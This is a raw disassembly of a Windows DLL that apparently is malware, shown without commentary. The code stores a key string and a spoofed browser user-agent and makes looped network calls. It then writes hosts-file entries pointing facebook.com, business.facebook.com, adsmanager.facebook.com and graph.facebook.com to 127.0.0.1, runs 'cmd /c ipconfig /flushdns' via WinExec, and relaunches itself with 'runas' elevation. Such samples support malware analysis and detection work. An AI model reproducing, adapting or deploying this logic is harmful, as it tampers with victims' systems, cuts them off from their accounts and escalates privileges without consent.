lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x410]
call fcn.180008060
mov rcx, rax
call fcn.180008048
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1800056cc
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
lea rdx, str.89_3gj_IH__F7_84j5kl3_4y:jdFJOhf01_92_3
lea rcx, [rsp + 0xd0]
call fcn.180005764
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1800056cc
nop
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xd0]
call fcn.1800057a4
mov rdx, rax
lea rcx, [rsp + 0x148]
call fcn.180077c58
nop
lea rdx, str.key
lea rcx, [rsp + 0x1d0]
call fcn.180005764
nop
mov rdx, rax
lea rcx, [rsp + 0x458]
call fcn.1800056cc
nop
lea rcx, [rsp + 0x1d0]
call fcn.1800056e8
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x458]
call fcn.1800056cc
nop
lea rcx, [rsp + 0x148]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
lea rcx, [rsp + 0x80]
call fcn.18000578c
nop
mov qword [rsp + 0x60], r15
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_116.0.0.0_Safari_537.36
lea rcx, [rsp + 0x240]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x168]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x148]
call fcn.180005428
nop
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x78], rax
mov rdx, r13
lea rcx, [rsp + 0x110]
call fcn.180005428
nop
lea rdx, [rsp + 0x438]
lea rcx, [rsp + 0xd0]
call fcn.180077104
mov rdi, rax
lea rdx, [rsp + 0x570]
lea rcx, [rsp + 0x458]
call fcn.18000566c
mov rbx, rax
lea rdx, [rsp + 0x568]
lea rcx, [rsp + 0x458]
call fcn.180005688
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x1d0]
call fcn.180006314
nop
lea rcx, [rsp + 0x240]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x168]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x148]
mov qword [rsp + 0x20], rcx
mov r9, rdi
lea r8, [rsp + 0x110]
mov rdx, rax
lea rcx, [rsp + 0x280]
call fcn.18000e114
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180005744
lea rcx, [rsp + 0x280]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x110]
call fcn.180005420
nop
lea rcx, [rsp + 0x148]
call fcn.180005420
nop
lea rcx, [rsp + 0x168]
call fcn.180005420
nop
lea rcx, [rsp + 0x240]
call fcn.180005420
lea rcx, [rsp + 0x80]
call fcn.180005648
test al, al
je 0x180004acf
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x60]
add rax, r12
mov qword [rsp + 0x60], rax
cmp rax, 0xa
jb 0x180004957
lea rcx, [rsp + 0x80]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x438]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x458]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x410]
call fcn.180001624
nop
lea rcx, [rsp + 0x4b8]
call fcn.180001624
nop
lea rcx, [rsp + 0xa0]
call fcn.180004dd0
nop
lea rcx, [rsp + 0x478]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x498]
call fcn.1800056e8
mov ebx, dword [rsp + 0x2d0]
add ebx, r12d
mov edx, dword [rsp + 0x1a8]
jmp 0x180001861
call fcn.180079be4
test eax, eax
jne 0x180004b62
call fcn.180079a78
mov ecx, dword [rsp + 0x8f8]
test ecx, ecx
jle 0x180004d27
lea rdx, [0x1800f8d9c]
lea rcx, str.C:WindowsSystem32driversetchosts
call fcn.1800b7d90
mov rbx, rax
lea rcx, [rsp + 0xb0]
call fcn.18000578c
nop
lea rdx, str._n127.0.0.1_www.facebook.com
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.180005744
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
lea rcx, [rsp + 0xb0]
call fcn.18000565c
mov rcx, rax
mov rdx, rbx
call fcn.1800b813c
lea rdx, str._n127.0.0.1_facebook.com
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.180005744
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
lea rcx, [rsp + 0xb0]
call fcn.18000565c
mov rcx, rax
mov rdx, rbx
call fcn.1800b813c
lea rdx, str._n127.0.0.1_business.facebook.com
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.180005744
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
lea rcx, [rsp + 0xb0]
call fcn.18000565c
mov rcx, rax
mov rdx, rbx
call fcn.1800b813c
lea rdx, str._n127.0.0.1_adsmanager.facebook.com
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.180005744
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
lea rcx, [rsp + 0xb0]
call fcn.18000565c
mov rcx, rax
mov rdx, rbx
call fcn.1800b813c
lea rdx, str._n127.0.0.1_graph.facebook.com
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.180005744
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
lea rcx, [rsp + 0xb0]
call fcn.18000565c
mov rcx, rax
mov rdx, rbx
call fcn.1800b813c
mov rcx, rbx
call fcn.1800b7f28
xor edx, edx
lea rcx, str.cmd__c_ipconfig__flushdns
call qword [sym.imp.KERNEL32.dll_WinExec]
nop
lea rcx, [rsp + 0xb0]
call fcn.1800056e8
mov ecx, 0x493e0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [rsp + 0x2d4]
add edi, r12d
mov dword [rsp + 0x2d4], edi
mov edx, dword [rsp + 0x1a8]
jmp 0x180001852
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x6a0]
call fcn.1800ab9f0
mov r8d, 0x104
lea rdx, [rsp + 0x6a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rsp + 0x6a0]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, r12d
lea r11, [rsp + 0x8b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret